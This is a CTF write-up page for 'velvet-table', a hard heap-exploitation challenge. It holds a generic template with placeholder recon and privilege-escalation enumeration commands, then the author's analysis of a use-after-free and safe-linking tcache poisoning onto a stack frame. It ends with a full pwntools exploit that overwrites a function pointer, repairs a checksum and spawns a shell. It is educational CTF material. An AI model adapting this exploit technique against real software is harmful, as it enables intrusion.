← Back to Writeups
HTBN/APwn

velvet-table

XESXOR8/23/20266 min read
#pwn#htb#n/a

velvet-table

Platform: Umdctf | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: checksum_repair, hidden_function_call, reversible_keystream_leak, stack_target_allocation, tcache_poisoning

Summary

Task: a stripped PIE casino allocator exposes seat-based heap operations, encrypted inspection output, and a payout path guarded by a stack checksum. Solution: combine UAF and post-ledger OOB write for safe-linked tcache poisoning onto the payout stack frame, leak and decrypt stack data, replace the reject callback with the hidden win function, repair the checksum, and trigger payout.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umdctf | ID: 20260425_umdctf_velvet_table
  • Tags: pie, heap, uaf, function_pointer, tcache, stack_pivot, oob_write, safe_linking
  • Indicators: cashout frees chunks but often leaves dangling pointers, update gains an unchecked memcpy after settle-ledger, inspect reveals encrypted bytes from chunk contents, payout validates and calls a stack-stored function pointer
  • Source: 20260425_umdctf_velvet_table.md

Foothold

Vulnerability / Misconfiguration

  1. Checksum_repair
  2. Hidden_function_call
  3. Reversible_keystream_leak
  4. Stack_target_allocation
  5. Tcache_poisoning
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • checksum_repair
  • hidden_function_call
  • reversible_keystream_leak
  • stack_target_allocation
  • tcache_poisoning
  • Tags: pie, heap, uaf, function_pointer, tcache, stack_pivot, oob_write, safe_linking

Original Writeup

<details><summary>Click to expand original content</summary>

Challenge

Remote: nc challs.umdctf.io 30304 Binary: velvet-table

Protections:

  • PIE
  • Full RELRO
  • NX
  • no canary
  • SHSTK
  • IBT

The program is a stripped menu-driven allocator with 16 seat records. Each seat stores:

  • ptr
  • size
  • occupied

Two nearby internal callbacks are especially important:

  • 0x1b50 prints ticket rejected.
  • 0x1b60 prints yay. and calls system("/bin/sh")

The goal is to redirect the payout path to the hidden function.

Analysis

Reversing the binary shows three key primitives.

1. Use-after-free via cashout

For 0x80 chunks, cashout frees the chunk but leaves the seat pointer behind. That gives a reliable dangling-pointer primitive.

2. Unchecked write after settle-ledger

After enough actions, settle-ledger enables a stronger update path that performs:

memcpy(ptr, buf, len)

with no bounds check. Combined with the dangling pointer, this lets us overwrite freed tcache metadata.

3. Reversible leak via inspect

inspect prints up to 0x40 bytes from a seat, but XORed with an internal keystream. That is still useful: if we first write known plaintext into a live chunk, then inspect it, we recover the keystream with:

keystream = ciphertext ^ plaintext

Then later inspect outputs can be decrypted the same way.

Payout target on the stack

The service prints a table marker. That value is enough to reconstruct the payout frame location on the stack:

low32 = marker ^ 0x9ac90307
stackbuf = 0x7ff000000000 | (low32 << 4)
saved_highbits = ((low32 ^ 0x5a17c3d9) & 0xffffffff) << 32

Relevant fields inside that stack buffer:

  • function pointer: stackbuf + 0x20
  • checksum: stackbuf + 0x28

The integrity formula is:

checksum = saved_highbits ^ funcptr ^ 0x686f7573655f6564

So the full plan is:

  1. Use UAF + unchecked write to poison tcache,
  2. Force malloc to return stackbuf,
  3. Leak/decrypt the payout frame,
  4. Change the callback from ...1b50 to ...1b60,
  5. Recompute checksum,
  6. Trigger payout.

Exploitation Strategy

1. Prepare allocator state

Reserve four 0x80 chunks. This advances the internal action counter enough to unlock settle-ledger.

2. Recover the inspect keystream

Write a known 0x40-byte pattern into one live chunk and inspect it. XORing the output with the known bytes recovers the keystream.

3. Free three chunks and poison tcache

Free three 0x80 chunks so their pointers dangle. Then use update on the freed tcache-head chunk to overwrite its fd pointer.

Because of safe-linking, the correct poisoned value is:

poisoned_fd = (freed_chunk_addr >> 12) ^ stackbuf

4. Allocate onto the stack

Allocate twice from that bin:

  • first allocation consumes the poisoned heap chunk
  • second allocation returns stackbuf

At that point one seat points directly into the payout stack frame.

5. Leak and patch the payout frame

Inspect the stack-backed seat and decrypt the output with the recovered keystream. The function pointer at offset 0x20 ends with 0x1b50, the reject callback.

The hidden win function is exactly +0x10, so:

win = func + 0x10
checksum = saved_highbits ^ win ^ 0x686F7573655F6564

Overwrite the stack-backed allocation with the new function pointer and repaired checksum.

6. Trigger payout

payout() now passes its integrity check and calls the hidden function, which gives a shell. From there, read /flag.

Final Exploit

#!/usr/bin/env python3
from pwn import *
import re

HOST = 'challs.umdctf.io'
PORT = 30304

context.binary = ELF('./velvet-table', checksec=False)
context.arch = 'amd64'


class VelvetTable:
    def __init__(self, io):
        self.io = io

    def choice(self, n):
        self.io.sendline(str(n).encode())

    def reserve(self, seat, size):
        self.choice(1)
        self.io.recvuntil(b'seat: ')
        self.io.sendline(str(seat).encode())
        self.io.recvuntil(b'size: ')
        self.io.sendline(str(size).encode())
        out = self.io.recvuntil(b'> ')
        m = re.search(rb'reservation confirmed: (0x[0-9a-fA-F]+)', out)
        if not m:
            raise ValueError(out)
        return int(m.group(1), 16)

    def cashout(self, seat):
        self.choice(2)
        self.io.recvuntil(b'seat: ')
        self.io.sendline(str(seat).encode())
        return self.io.recvuntil(b'> ')

    def update(self, seat, data):
        self.choice(3)
        self.io.recvuntil(b'seat: ')
        self.io.sendline(str(seat).encode())
        self.io.recvuntil(b'length: ')
        self.io.sendline(str(len(data)).encode())
        self.io.recvuntil(b'data:\n')
        self.io.send(data)
        return self.io.recvuntil(b'> ')

    def inspect(self, seat):
        self.choice(4)
        self.io.recvuntil(b'seat: ')
        self.io.sendline(str(seat).encode())
        out = self.io.recvuntil(b'\n\n1) reserve')
        self.io.recvuntil(b'> ')
        return out[:-len(b'\n\n1) reserve')]

    def settle(self):
        self.choice(7)
        return self.io.recvuntil(b'> ')

    def payout(self):
        self.choice(6)


def parse_marker(banner):
    return int(re.search(rb'table marker: 0x([0-9a-fA-F]+)', banner).group(1), 16)


def stackbuf_from_marker(marker):
    low32 = (marker ^ 0x9AC90307) & 0xFFFFFFFF
    return 0x7FF000000000 | (low32 << 4)


def saved_highbits_from_marker(marker):
    low32 = (marker ^ 0x9AC90307) & 0xFFFFFFFF
    return (((low32 ^ 0x5A17C3D9) & 0xFFFFFFFF) << 32)


def main():
    io = remote(HOST, PORT)
    banner = io.recvuntil(b'> ')

    marker = parse_marker(banner)
    stackbuf = stackbuf_from_marker(marker)      # rsp+0x90
    saved_hi = saved_highbits_from_marker(marker)

    log.info(f'marker    = {marker:#x}')
    log.info(f'stackbuf  = {stackbuf:#x}')
    log.info(f'funcptr   = {stackbuf + 0x20:#x}')
    log.info(f'checksum  = {stackbuf + 0x28:#x}')

    vt = VelvetTable(io)
    SIZE = 0x80
    S, A, B, D = 0, 1, 2, 3

    ptrS = vt.reserve(S, SIZE)
    ptrA = vt.reserve(A, SIZE)
    ptrB = vt.reserve(B, SIZE)
    ptrD = vt.reserve(D, SIZE)
    log.info(f'ptrS = {ptrS:#x}')
    log.info(f'ptrA = {ptrA:#x}')
    log.info(f'ptrB = {ptrB:#x}')
    log.info(f'ptrD = {ptrD:#x}')

    vt.settle()

    known = bytes(range(1, 0x41))
    vt.update(S, known)
    ct = vt.inspect(S)
    keystream = xor(ct, known)

    vt.cashout(S)
    vt.cashout(A)
    vt.cashout(B)

    poisoned_fd = (ptrB >> 12) ^ stackbuf
    vt.update(B, p64(poisoned_fd))

    vt.reserve(A, SIZE)                 # gets ptrB
    stack_ptr = vt.reserve(S, SIZE)     # gets stackbuf
    assert stack_ptr == stackbuf

    stack_ct = vt.inspect(S)
    stack_plain = xor(stack_ct, keystream)

    func = u64(stack_plain[0x20:0x28])
    assert (func & 0xff) == 0x50
    win = func + 0x10
    checksum = saved_hi ^ win ^ 0x686F7573655F6564

    payload = bytearray(stack_plain[:0x30])
    payload[0x20:0x28] = p64(win)
    payload[0x28:0x30] = p64(checksum)
    vt.update(S, payload)

    vt.payout()
    io.recvuntil(b'yay.\n')
    io.sendline(b'cat /flag /app/flag* flag* 2>/dev/null')
    data = io.recvrepeat(2)
    print(data.decode(errors='ignore'))


if __name__ == '__main__':
    main()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR